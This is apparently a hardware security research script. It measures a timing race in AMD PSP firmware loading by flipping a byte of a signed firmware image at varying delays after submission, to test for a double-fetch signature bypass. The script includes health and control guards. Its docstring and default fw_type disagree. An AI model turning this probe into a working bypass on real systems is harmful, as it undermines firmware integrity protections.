"""Delay curve against LOAD_IP_FW (sys_drv path, fw_type 62 = CAP).

Different code path from LOAD_TA: cmd 6 -> sysdrv_rpc_1007 -> sysdrv_tee_load_firmware,
which references the mapped SOURCE at two separate call sites (buffer_copy_bounded,
then verify_image_signature) with header parsing in between -- structurally more
double-fetch-shaped than the TA path we measured.

fw_type 62 (CAP) chosen because no live engine backs it on consumer Navi31, so a
successful load is inert. Measurement only needs pass/fail vs delay.

Guards: GPU health check between rounds; abort immediately on health loss.
"""
import ctypes, sys, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32, data64
from psp_out.toctou_bridge import Flipper

FW_TYPE = int(__import__('os').environ.get('FWTYPE', 94))  # 94 = RS64_MEC_P0_STACK (stack region, not microcode)
OFF     = int(sys.argv[1],0) if len(sys.argv)>1 else 0x800
SZ = ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
DELAYS = [0,256,1024,2048,3072,4096,4608,5120,5632,6144,6656,7168,7680,8192,12288,16384,32768,65535]

f = Flipper(); adev, psp = f.adev, f.psp; f.select_method(0)
# use the REAL signed blob for this fw_type (a mistyped image is rejected outright,
# which is what void'd the CAP run)
_b=None
for _t,_bl in adev.fw.descs:
    if FW_TYPE in _t: _b=bytes(_bl); break
assert _b is not None, "no descriptor for fw_type %d"%FW_TYPE
blob=_b
g = blob[OFF]

def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],'little')
def healthy():
    try: return adev.reg(f"{psp.reg_pref}_81").read()!=0 and adev.smu.is_smu_alive()
    except Exception: return False

def submit():
    c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_IP_FW)
    c.cmd.cmd_load_ip_fw.fw_phy_addr_hi, c.cmd.cmd_load_ip_fw.fw_phy_addr_lo = data64(psp.msg1_addr)
    c.cmd.cmd_load_ip_fw.fw_size = len(blob); c.cmd.cmd_load_ip_fw.fw_type = FW_TYPE
    try: psp._ring_submit(c); return stat(), None
    except Exception as e: return stat(), type(e).__name__

print("LOAD_IP_FW fw_type=%d off=%#x genuine=%#04x  health=%s"%(FW_TYPE,OFF,g,healthy()))
print("\n baseline (pristine, no flip):")
base_ok=0
for _ in range(3):
    psp._prep_msg1(memoryview(blob)); f.disarm()
    _st,_e=submit(); base_ok += (_st==0)
    print("   status=%#x exc=%s"%(_st,_e))

print("\n control: byte pinned corrupt (is it hash-covered on THIS path?):")
psp._prep_msg1(memoryview(blob)); f.poke(OFF, g^0xFF)
ctrl_st,_ce=submit(); print("   status=%#x exc=%s"%(ctrl_st,_ce))

if base_ok < 2:
    print("\n BASELINE FAILED (%d/3 passed) -> curve would be meaningless. ABORT."%base_ok)
    sys.exit(1)
if ctrl_st == 0:
    print("\n CONTROL PASSED with corrupt byte -> byte not covered here. ABORT.")
    sys.exit(1)
print("\n delay curve (n=6 each):")
res={}
for d in DELAYS:
    ok=0; tot=0
    for i in range(6):
        if not healthy(): print("   !! health lost at delay=%d -- ABORT"%d); sys.exit(1)
        psp._prep_msg1(memoryview(blob))
        f.set_ab(OFF,g,g^0xFF) if hasattr(f,'set_ab') else f.cmd(0,OFF,g,g^0xFF)
        f.cmd(7, OFF, widx=d)          # one-shot: A now, B after d
        st,exc=submit(); tot+=1; ok += (st==0)
    res[d]=(ok,tot); print("   delay=%-6d %d/%d  %s"%(d,ok,tot,'#'*(ok*5)))
print("\nsummary:", {k:'%d/%d'%v for k,v in res.items()})
rates=[v[0]/v[1] for v in res.values()]
print("spread=%.0f%%  -> %s"%(100*(max(rates)-min(rates)),
  "FLAT: single fetch" if max(rates)-min(rates)<0.15 else "NON-FLAT: inspect for plateau (2 reads)"))
print("final health:", healthy())